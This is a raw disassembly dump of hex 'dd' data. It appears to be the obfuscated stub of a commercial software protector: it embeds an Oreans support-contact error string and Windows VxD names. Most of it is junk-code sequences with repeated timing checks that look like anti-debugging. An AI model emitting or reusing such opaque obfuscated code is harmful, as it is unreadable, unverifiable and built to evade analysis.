		dd 8D4549E9h, 0D030B6BCh, 0B9262C10h, 0C1010A10h, 0EB601305h
		dd 70676237h, 0F052C76Ah, 71082C79h, 0DD75FA78h, 7E48F531h
		dd 9D19F1CEh, 3C68E16Eh, 1E294FCCh
		dd 0B7C7E73h, 6C532DD8h, 3E061016h, 0A60295C3h,	0E9615B95h
		dd 400h, 41C7B4h, 206E4133h, 65746E69h,	6C616E72h, 63786520h
		dd 69747065h, 6F206E6Fh, 72756363h, 28206465h, 72646441h
		dd 3A737365h, 25783020h, 0D0A2978h, 61656C50h, 202C6573h
		dd 746E6F63h, 20746361h, 70707573h, 4074726Fh, 6165726Fh
		dd 632E736Eh, 202E6D6Fh, 6E616854h, 6F79206Bh, 2175h, 0E4h dup(0)
		dd 56h,	45h, 0
		dd 1178E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0D0A92724h, 51F4585h, 2E458589h
		dd 12E9064Dh, 74000000h, 547E02C4h, 371B55C8h, 0C470DC0h
		dd 8BC87A5Fh, 95858B37h, 0E9064D03h, 7,	3FF8133Dh, 3918C582h
		dd 0F042444h, 7785h, 0D5B26000h, 8969DCBEh, 0BD83615Ah
		dd 64D0B99h, 61840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0DC9CC356h
		dd 6858DADh, 31064D39h,	4D2BE98Dh, 6AE0FF06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0D9E1C357h, 3B3AC915h, 0D890F9Fh, 60000000h,	890Fh
		dd 9BBA0000h, 614E8627h, 22C1858Bh, 8E9064Dh, 8A000000h
		dd 7EE9E2FEh, 39ECADF1h, 0F042444h, 5485h, 0C8A0F00h, 0F000000h
		dd 68Fh, 800F00h, 0C7000000h, 50758E85h, 106h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1704h, 0C3554500h
		dd 8F934CE2h, 14E9h, 0F7827100h, 70A5FED7h, 355E596Ah
		dd 63C5AF24h, 71D07543h, 6A60BDh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 9BE8BEC3h, 0FE54348Eh
		dd 11BD3184h, 0E9064D15h, 26h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0B5C35747h,	6A659382h, 77FCh
		dd 1B80000h, 87000000h,	50772C85h, 75C00B06h, 0E5B5FFF6h
		dd 8F064D26h, 50758685h, 6A206A06h, 8995FFFFh, 83064D0Bh
		dd 4D25B1BDh, 8740006h,	95FF006Ah, 64D0511h, 2999BD83h
		dd 7401064Dh, 80680Dh, 0FF6A0000h, 0B8995FFh, 14E9064Dh
		dd 20000000h, 3EEF4897h, 91D055C7h, 0CE905D72h,	41D2F0BBh
		dd 6AE442BDh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 894DC353h, 736DD12Ah, 1151B529h
		dd 0B8064Dh, 0F000000h,	78Ch, 1850F00h,	0F5000000h, 2824548Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 1FC35646h
		dd 89F88AA8h, 4D042D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1704h, 0C3564600h, 0E52AC544h, 5D9B531h
		dd 3CBE064Dh, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0EC72C352h,	8765EE01h
		dd 33591FDh, 1242474h, 4D0399B5h, 59D8906h, 66064D00h
		dd 818D89ADh, 3064D25h,	1242444h, 4D2F958Dh, 85896006h
		dd 64D2CA9h, 52505061h,	61605250h, 0FE9310Fh, 0FC000000h
		dd 1043D077h, 0BE695405h, 348E9BE8h, 585AFE54h,	13E9310Fh
		dd 27000000h, 1DC50D3h,	0D1C4D97Eh, 32498C27h, 0C5EEA11Eh
		dd 585A663Ch, 6A240489h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 6992C357h, 3DF62A3Ch
		dd 9B33DA9Fh, 959D2960h, 66064D21h, 0C563D081h,	0DE961h
		dd 27E0000h, 8FB8F400h,	3B3DBA85h, 8BF02428h, 6A7840h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8D0F2EC3h, 6, 2D299501h, 0BD83064Dh,	650758Eh, 70850F00h
		dd 0E9000001h, 11h, 112CDC8Dh, 0CBC83AA4h, 0D2562B9Ch
		dd 0FC5F3EB7h, 0CE9909Ah, 43000000h, 0B5155DE9h, 5AF8087Bh
		dd 500A1D57h, 870F60h, 50000000h, 0F616052h, 0AE831h, 4ED30000h
		dd 0EAF50205h, 0DC89777Bh, 61585A59h, 0BF0F6090h, 5D9589DBh
		dd 61064D1Ch, 2C24448Bh, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0BDC35242h, 39CD7813h, 9E9BA6Bh, 0DA000000h
		dd 0FB360DAh, 0B173019h, 0F525090h, 68Bh, 8B0F00h, 0F000000h
		dd 0E8C0F31h, 0E9000000h, 9, 973D3EA5h,	0EFB3407Fh, 50585AB3h
		dd 9E95250h, 37000000h,	51E9DF73h, 60F58060h, 5660310Fh
		dd 0F52505Bh, 61585A31h, 6A90585Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0FE11C350h
		dd 6E93Fh, 1C220000h, 18057CA1h, 49F9858Dh, 6A0650h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 484ECCC3h, 60D703CCh, 1B4DB529h, 0AE9064Dh, 5C000000h
		dd 994CD03Ah, 0BC4AF6F1h, 0D0FF61CCh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 36C35141h, 0E96440BAh, 0Ch
		dd 0C5F700FBh, 0AB57F87Bh, 50985B91h, 0F98D89FCh, 3064D12h
		dd 89282444h, 4D0C619Dh, 18408B06h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 58C35242h, 0A090F23h, 899237ADh
		dd 4D22719Dh, 6A4006h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 160424h, 51410000h, 4DD244C3h, 8A8589FCh, 60065075h
		dd 0BA5BD89h, 0B70F064Dh, 0BE961C1h, 0CC000000h, 0FCB21931h
		dd 7D6A2CFFh, 0E9581284h, 7, 9866B78Ah,	8B41A775h, 6A7870h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 168F73C3h, 898A3B27h, 4D2C7D9Dh, 1CC68306h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 89C35141h, 77BBE307h
		dd 850FFB49h, 6, 25BD8D31h, 830F064Dh, 0Ch, 6860Fh, 880F0000h
		dd 0
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0F8A89688h, 24247C81h, 10000000h, 107870Fh
		dd 50F80000h, 0EE860h, 0B0CD0000h, 6CDCCDEDh, 0DA817EF9h
		dd 240BD605h, 310F5250h, 0F5B585Ah, 384h, 0F28B6600h, 24048961h
		dd 9E9h, 79818F00h, 0D5EEB148h,	448B88F2h, 6A2824h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 0A6979EC3h, 0CDA58DC7h, 8509F6A4h, 64D0B85h,	14E990h
		dd 53860000h, 76DF5AF0h, 0DB34538Ah, 0B36630C2h, 77F96735h
		dd 0E950B3A7h, 5, 0FB08C4CAh, 830F9083h, 0Dh, 0DA816660h
		dd 0C2814483h, 51E92F31h, 0F9858D61h, 6A065049h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0B68AC356h, 6660BB36h, 0CE3F681h, 90D6BF66h,	0EE961h
		dd 0C4990000h, 93AEEC11h, 959FFE71h, 61D2D080h,	6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0BC7C4C3h, 0DEE107A7h, 0E9F59683h, 14h, 0C14A6DFEh
		dd 4EECB116h, 89B513A8h, 117713A2h, 0AB38D5Dh, 24247403h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0CFC35545h
		dd 850F6DFEh, 6, 25F1BD29h, 0BD8D064Dh,	64D14C1h, 26A1B531h
		dd 0FAD064Dh, 880h, 0CE816000h,	4A120316h, 247C8161h, 24h
		dd 0F6870F10h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0A906C355h,	8589D381h
		dd 64D0049h, 60525050h,	8B66CB8Bh, 310F61FEh, 9E9h, 0F35A0C00h
		dd 0EC61E7C6h, 585A7B1Eh, 60240489h, 0B589F88Ah, 64D2A41h
		dd 1840F61h, 0F8000000h, 2824448Bh, 799529h, 6090064Dh
		dd 890FC38Ah, 13h, 0EE9h, 0E49E6100h, 5E7C44A0h, 299189E2h
		dd 6190CDD9h, 158A0F50h, 50000000h, 8E952h, 88AE0000h
		dd 0A0E556C4h, 310FD37Fh, 585A6160h, 0B5016090h, 64D0641h
		dd 8D6131B0h, 5049F985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 12E9F2h, 49E30000h, 8768D3FFh
		dd 111103C6h, 5342F217h, 406CB58Ch, 0E9F8D0FFh,	11h, 0E5853077h
		dd 43514ADDh, 0EA6C57E3h, 0BD1DF00Ch, 24440306h, 62BB6024h
		dd 66681B52h, 75D3EA81h, 6AAB61h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0C11374C3h, 932C2BDh
		dd 0F603777h, 58Ah, 0F3816600h,	8D8B39FCh, 64D27B5h, 0FA8161h
		dd 0F000100h, 70882h, 14E900h, 0A6B90000h, 0C0C63281h
		dd 0C318942h, 0D24675E1h, 70CD39C7h, 0BD8DA7C2h, 64D128Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 75C35646h
		dd 862546CEh, 0FB8101A9h, 71B5012Ah, 0AD064D1Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 9AC35545h, 1BDD9D89h
		dd 7C81064Dh, 2424h, 870F1000h,	0C8h, 0C1B70F60h, 14E9h
		dd 665A3100h, 1170B245h, 998D13E0h, 9B169B10h, 782AC62Ch
		dd 0F50611Ah, 88Ah, 28D0F00h, 60000000h, 24048961h, 15418D01h
		dd 448B064Dh, 6A2824h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 0AD0D76C3h, 8A7314F0h, 0E950758Eh
		dd 0Fh,	0B6ACA96h, 5A87ECB8h, 0F2D273DCh, 89A5D4CFh, 0B602404h
		dd 4D1F2D8Dh, 15BD8906h, 61064D2Ah, 49F9858Dh, 6A0650h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0A9CF9DC3h, 6AD0FFC8h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0B699C350h,	24244403h
		dd 0C8F0Fh, 810F0000h, 6, 0EED9589h, 6090064Dh,	0F525060h
		dd 61585A31h, 506151B0h, 6E9h, 8D094800h, 90C9E9A7h, 6AABFCh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8D57D0C3h, 4D304DBDh, 31BD8906h, 0F064D12h, 982h, 0B5896000h
		dd 64D156Dh, 89AD61FCh,	4D32C585h, 247C8106h, 28h, 36870F10h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0BB35C353h, 14E9h, 586BA700h
		dd 42971A69h, 378950C6h, 632C14Eh, 5B92438Ah, 12E903h
		dd 0BD9B0000h, 0C1833724h, 0BE24BE0Dh, 5FF2C2FDh, 0DA336B00h
		dd 840F6050h, 6, 310F5250h, 8B66585Ah, 48961CAh, 51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 24448BF9h, 6820F2Ch,	29000000h, 4D0441B5h, 800F9006h
		dd 0Bh,	0F525060h, 66585A31h, 5061F18Bh, 52505250h, 310F6160h
		dd 585A6160h, 5250310Fh, 800Fh,	310F0000h, 8F0Fh, 585A0000h
		dd 0F90585Ah, 0E86h, 0B5096000h, 64D11B1h, 850Fh, 8D610000h
		dd 5049F985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0D4AAE500h, 0D0FF1C96h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 63C35242h, 12E9CE2Ch
		dd 89000000h, 0AE9BC86Ah, 0A68E000h, 716068C6h,	0B0586CADh
		dd 2444030Eh, 52006A28h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0DDA053B6h, 0C150CE17h, 89ABC0DCh
		dd 4D0BB195h, 8DFF5E06h, 650758Ah, 758ABD83h, 75000650h
		dd 8DC0330Ah, 5084A8B5h, 56E6FF06h, 247C81ADh, 28h, 500E7710h
		dd 2C24448Bh, 0F9858D50h, 0FF065049h, 244403D0h, 0DF8B9728h
		dd 7586858Ah, 0C0840650h, 73A0474h, 32574C75h, 0FD75AEC0h
		dd 52FB2B5Eh, 49C933FCh, 0C033D18Bh, 32ACDB33h,	8ACD8AC1h
		dd 0B6D68AEAh, 0EBD16608h, 73D8D166h, 41356609h, 0F3816650h
		dd 0CEFE5449h, 0C833EB75h, 754FD333h, 0F7D2F7D5h, 0C1C28BD1h
		dd 8B6610C0h, 0D03B5AC1h, 835E0F74h, 85FF04C6h,	64D042Dh
		dd 0FFFF5DE9h, 8D095EFFh, 64D1101h, 8D8B6060h, 64D0571h
		dd 61FEBF0Fh, 2D858B61h, 0E9064D04h, 11h, 0B80A329Dh, 2C7A4B55h
		dd 2A5EB497h, 8A25F2E0h, 6AE0D1A0h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 0B83C353h
		dd 0B30DF4D3h, 0E4DCE8Ah, 7D35BB60h, 8961561Dh,	4D23BDB5h
		dd 4D850306h, 60064D30h, 268D9D89h, 0D08A064Dh,	0BE61h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 89DF53C3h, 96C3B3F4h, 62D9D89h, 0AD66064Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C4C35141h
		dd 0DB40177Fh, 0E94F748Eh, 0Eh,	0C34B5C04h, 0B2F0DB92h
		dd 739B10Dh, 0E0C1B0D3h, 6660F902h, 0AEDCF081h,	2DE59D2Bh
		dd 361064Dh, 4D14C185h,	50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 870FFB48h, 6, 0D459D31h
		dd 0AE9064Dh, 80000000h, 0A498BF70h, 4B9D0793h,	958B6042h
		dd 64D1571h, 26D59531h,	9661064Dh, 2E5D9D09h, 6AAD064Dh
		dd 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0B220C357h, 0FE6505Dh, 683h,	0E9958900h, 81064D26h
		dd 24247Ch, 0F100000h, 0E487h, 398D8900h, 50064D24h, 178A0Fh
		dd 12E90000h, 0F0000000h, 9713C2E4h, 0B79DDBC5h, 5F7CD353h
		dd 824E26AAh, 2404897Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 15h, 7AC35646h, 24448B76h,	51006A28h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 87FF5DBBh, 0F3D4DDB7h, 0E9504618h, 6, 46F18902h, 489AE96h
		dd 14E924h, 73BC0000h, 92917032h, 8EA21211h, 8ADDA5DDh
		dd 0BCA26848h, 858D1EE4h, 65049F9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0BC35747h, 2E65B529h, 8E9064Dh
		dd 83000000h, 9C0B6EEDh, 0F5F47F6Bh, 12E9D0FFh,	2F000000h
		dd 0F9A1857h, 38DCD926h, 0FBE44775h, 53B45A6Fh,	2444033Eh
		dd 4489F824h, 6A1C24h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 654353C3h, 2DBBE1DAh, 85C6FC2Ch
		dd 64D26E5h, 2C85C700h,	65077h,	0C7000000h, 50758E85h
		dd 6, 850F6000h, 5, 8BEB8166h, 14E947h,	75820000h, 0EFDD6899h
		dd 2FC9D0BDh, 325F5423h, 15A830C4h, 6A61B4D2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 1CB9C356h, 2CDD9531h, 6A61064Dh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 7962C353h
		dd 8D8963ABh, 64D2EE1h,	6A0008C2h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0B44BC351h
		dd 518137E2h, 810B1948h, 0C1858BF9h, 29064D14h,	4D2E09BDh
		dd 0A5858906h, 4A064D29h, 458589h, 0D26B064Dh, 55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 3F778165h, 324A44Bh,	850FF9C2h, 0Bh,	0CD8D8960h, 0F064D21h
		dd 9661F3BFh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	0EBC35141h, 598D09BEh, 0AD064D29h, 2B21B589h, 7C81064Dh
		dd 2424h, 870F1000h, 0D7h, 718D8B60h, 0F5064D14h, 52505061h
		dd 84BA6660h, 615E50E4h, 8D0F310Fh, 6, 310F5250h, 585A585Ah
		dd 0E9240489h, 8, 583A14A9h, 0CDEA0FEh,	2824448Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0F7C35646h, 0F9D59F3Eh
		dd 50525050h, 0F616052h, 7E931h, 0E0C40000h, 55F2B08Ch
		dd 0F585ADDh, 10E86031h, 39000000h, 0DCFD68B9h,	1B7C2F3Ch
		dd 8CB136FCh, 5A53A533h, 61C38B66h, 489585Ah, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 316F3806h, 0F9858D3Ah, 89065049h, 4D148D8Dh,	0E9D0FF06h
		dd 13h,	6BB26E82h, 0AFE01D05h, 261C9981h, 0CD3E3598h, 0E91014AFh
		dd 0FFFFFDB9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0E9C35242h, 1135865h, 4D2D1595h, 57858D06h, 6A06508Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 903DC352h, 5E9h, 8CEC0F00h, 0E950EB1Ch, 0Fh
		dd 3BE29021h, 5962F7A7h, 72D2F326h, 90F78400h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 96C35141h, 0FF64F939h
		dd 35h,	0BE900h, 0FB0E0000h, 812B6D59h,	5419BBFDh, 85B5894Dh
		dd 8B064D0Bh, 820F2404h, 6, 25519D01h, 8589064Dh, 64D0B3Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9EC35646h
		dd 83EF68Dh, 3DA8E825h,	25858B60h, 89064D24h, 4D0A4995h
		dd 89646106h, 25h, 198A0F00h, 0E9000000h, 14h, 2CA0FC0Dh
		dd 0B3F74E15h, 8B471274h, 7B1AC5F4h, 8D0408C7h,	8867858Dh
		dd 6A0650h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BE17CDC3h, 9BD5618Eh, 16089F8h, 1AB58589h
		dd 53E9064Dh, 6A000002h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 91EC353h, 755AE68Bh
		dd 79BD3161h, 8B064D1Fh, 0E8DBh, 815D0000h, 508860EDh
		dd 0FF9CBC06h, 0BD830012h, 64D2999h, 8B187400h,	4D15A985h
		dd 0C606h, 15BD858Bh, 0C6064Dh,	1D95FF00h, 60064D23h, 7192B5FFh
		dd 858D0650h, 6507196h,	8E858D50h, 50065073h, 34195FFh
		dd 0C483064Dh, 8501610Ch, 64D2281h, 6870Fh, 0BD890000h
		dd 64D0A7Dh, 351B509h, 0B58D064Dh, 650738Eh, 18B0Fh, 0FCF90000h
		dd 0C9BD8Dh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 55847C3h, 3E73082Ch, 2956F263h
		dd 4D0BF5BDh, 13E906h, 0A6B50000h, 64CDE575h, 270E6A1Fh
		dd 0AF3A6563h, 5AD6B23Bh, 3E8005h, 4D840Fh, 8D310000h
		dd 64D0BD1h, 53006AA4h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 50A51B3h,	0E95D8986h, 13h, 0E46E1C21h
		dd 2E1D1370h, 6037BBA3h, 9F78A576h, 31473E6Fh, 4D0FB1B5h
		dd 0FFABE906h, 0B8F5FFFFh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B2C35343h
		dd 10E9h, 0A5A04B00h, 0EE422F62h, 1171DC20h, 8C641CF7h
		dd 6AAAF4h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 6C0FC0C3h, 600ECBC2h, 8BAAC580h, 4D069D95h
		dd 7B86106h, 89000000h,	4D2E958Dh, 0A985C706h, 1064D13h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 8D02C353h, 0B589C8B2h,	64D1541h
		dd 4DE58D8Dh, 89F8064Dh, 4D266DB5h, 6AE1FF06h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0B434C351h, 0FF587185h, 6850F68h, 29000000h,	4D2FC595h
		dd 6840F06h, 89000000h,	4D26F195h, 245C8B06h, 0E8550Ch
		dd 5D000000h, 8A61ED81h, 838B0650h, 0B8h, 71928589h, 858D0650h
		dd 6508859h, 0B88389h, 335D0000h, 9589C3C0h, 64D2F4Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0A2C35141h
		dd 6069E087h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	8FC35242h, 0C706F924h, 89B0F2ADh, 4D2DC1BDh, 0A3858D06h
		dd 0F506508Ch, 14E950h,	0F0930000h, 5B93381Ah, 0E0FA2E22h
		dd 338984A2h, 63CE4870h, 4898182h, 0FF64F524h, 35h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 89FCFF4Fh, 4D15C99Dh, 6880F06h, 89000000h, 4D2B459Dh
		dd 25896406h, 0
		dd 0A3DBD31h, 858D064Dh, 6508D11h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0A4C35747h,	0F1237AB0h, 4B02ED8h
		dd 99BD89F5h, 89064D26h, 6A0160h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0A9F6FEC3h, 0D2711F11h
		dd 26E585C6h, 6A4F064Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0C355C350h,	11E934h
		dd 4FF60000h, 95A243DAh, 3B3EFBB5h, 0C41C5753h,	685AF4EAh
		dd 0ADEB55CFh, 840F5250h, 6, 830Fh, 310F0000h, 6840Fh
		dd 52500000h, 585A310Fh, 3481585Ah, 2321E524h, 53006A53h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0B7243DCDh, 0E082D050h, 0D58D899Ah, 0FF064D14h, 4D0B29B5h
		dd 6E906h, 0BA550000h, 0F3213FEDh, 75D7858Dh, 6A0650h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0FAA89C3h, 18Ch, 0D0FFF800h,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 20C35545h, 0EB73A366h, 13E9B68Ah
		dd 0FB000000h, 0D2035939h, 0D5F975E2h, 1A83FA23h, 45048049h
		dd 74E92438h, 29000000h, 4D200D85h, 245C8B06h, 0E8550Ch
		dd 5D000000h, 8CADED81h, 858B0650h, 64D1431h, 0B298589h
		dd 858B064Dh, 64D22C1h,	2B698589h, 858B064Dh, 64D0395h
		dd 25A98589h, 85C6064Dh, 64D26E5h, 2C85C700h, 65077h, 8D000000h
		dd 508D1185h, 0B8838906h, 5D000000h, 29C3C033h,	4D2BADBDh
		dd 6820F06h, 1000000h, 4D29A5BDh, 0F99D0906h, 0BC064D17h
		dd 12FF74h, 0E853006Ah,	3, 5BC35B20h, 4245C89h,	4244481h
		dd 14h,	99C35343h, 68E0FF9h, 89000000h,	4D13E985h, 7DB52906h
		dd 64064D0Eh, 58Fh, 85890000h, 64D2AA1h, 6A04C483h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 3DEAC353h, 29E8ECEBh, 0C850Fh, 810F0000h, 6,	2B6D8529h
		dd 0E861064Dh, 11h, 0E8813C2Eh,	6A2A8864h, 0B13023EBh
		dd 2ECB2266h, 95895E81h, 64D1521h, 6DE0C681h, 98B40000h
		dd 839D42BAh, 0DF28119h, 0B5198386h, 0B03E8B57h, 0C9EF8198h
		dd 8978D6EDh, 4D2B959Dh, 96F78106h, 812A0762h, 0E9043FF7h
		dd 0B780B856h, 0B45777E2h, 0F9068F45h, 2294EE81h, 9E95F41h
		dd 54000000h, 0CA34342Eh, 3332BCD0h, 2290C681h,	0EE8A5F41h
		dd 16850F4Ah, 29000000h, 4D03F1B5h, 26E906h, 0B8160000h
		dd 50D833D1h, 5FFE31EBh, 8D8956BCh, 64D200Dh, 0FF93E95Bh
		dd 2A19FFFFh, 0D2D476C1h, 3D1515BDh, 9A45BE3Ch,	0EE8h
		dd 4B03A000h, 26CAFA38h, 9F518E6Eh, 8B1D708Eh, 4D1B719Dh
		dd 0B70F5E06h, 0DC681DAh, 8B000071h, 4D23BDBDh,	1C10B906h
		dd 8BF90000h, 9E906h, 0AA730000h, 8133C872h, 8147FD35h
		dd 0E81ED5F0h, 55958963h, 81064D21h, 0E7029AC0h, 6ABA6649h
		dd 0DAE881BAh, 57143D1Dh, 505BE7B2h, 783EBF66h,	11E9068Fh
		dd 5A000000h, 30C62243h, 20CB4C3Ah, 0DA32CD13h,	0B71C5848h
		dd 0FC01EE83h, 604E4E4Eh, 15852Bh, 0E960064Dh, 13h, 3AAA6B09h
		dd 39A0CF9Eh, 1085AD40h, 4FDA1357h, 0FC41F7Eh, 8Ah, 49616100h
		dd 11850Fh, 9D290000h, 64D2F2Dh, 19E9h,	9ABD4900h, 8BC2FFB2h
		dd 4D1EC9BDh, 0FF61E906h, 425BFFFFh, 0CADEB662h, 34EB56A2h
		dd 4D534649h, 20205247h, 20444B56h, 20202020h, 204D4D56h
		dd 20202020h, 4E495756h, 20203233h, 4C445856h, 20205244h
		dd 3 dup(0)
		dd 785E9h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 0E1925DBh, 0E960D854h, 11h, 1B1E0C78h
		dd 31E8E466h, 0AEE76D5Dh, 0EEEFB854h, 2820FABh,	53000000h
		dd 6A606159h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 37AEC353h, 44A154DDh, 11800F2Fh
		dd 0E9000000h, 0Ch, 0AC3641FDh,	33784922h, 6962E7B1h, 3685C7F9h
		dd 6508Fh, 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 3D3EC350h, 0B3407F97h,	266CB3EFh
		dd 5E9h, 9BD0FF00h, 0C68BD1D6h,	0D8B70FF8h, 5E9h, 0DCE63500h
		dd 0F60CA5Fh, 485h, 34BA6600h, 23FBEDCh, 0C1611BBDh, 8E0F10E8h
		dd 11h,	0CE9h, 6F989000h, 93721791h, 0F904B455h, 0C8C16626h
		dd 55006A08h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 0B532D61Ah, 0FA1BD232h, 13E9604Bh, 0E8000000h
		dd 5598460Bh, 90B89FABh, 425B7393h, 0CADEB662h,	0E86056A2h
		dd 0Bh,	4C2C0919h, 70582CB5h, 5900FBE7h, 61C7BF0Fh, 3A858961h
		dd 0F06508Fh, 0C8Fh, 94BF6000h,	0BA7586BCh, 2B546B0Bh
		dd 0CBC16661h, 0E9F96008h, 0Ch,	0D76A8EB9h, 0EA7C90FBh
		dd 53B3847Ch, 40FB8361h, 81850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0A5382CC3h
		dd 0EBD8D0Ah, 6A06508Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 8FCCC355h, 0CE9FCE9h
		dd 42000000h, 0F6781626h, 25E66C73h, 0E97ADE66h, 186h
		dd 0CE9h, 4D63CF00h, 0DC9C0ED1h, 3A17E9ADh, 0EE86079h
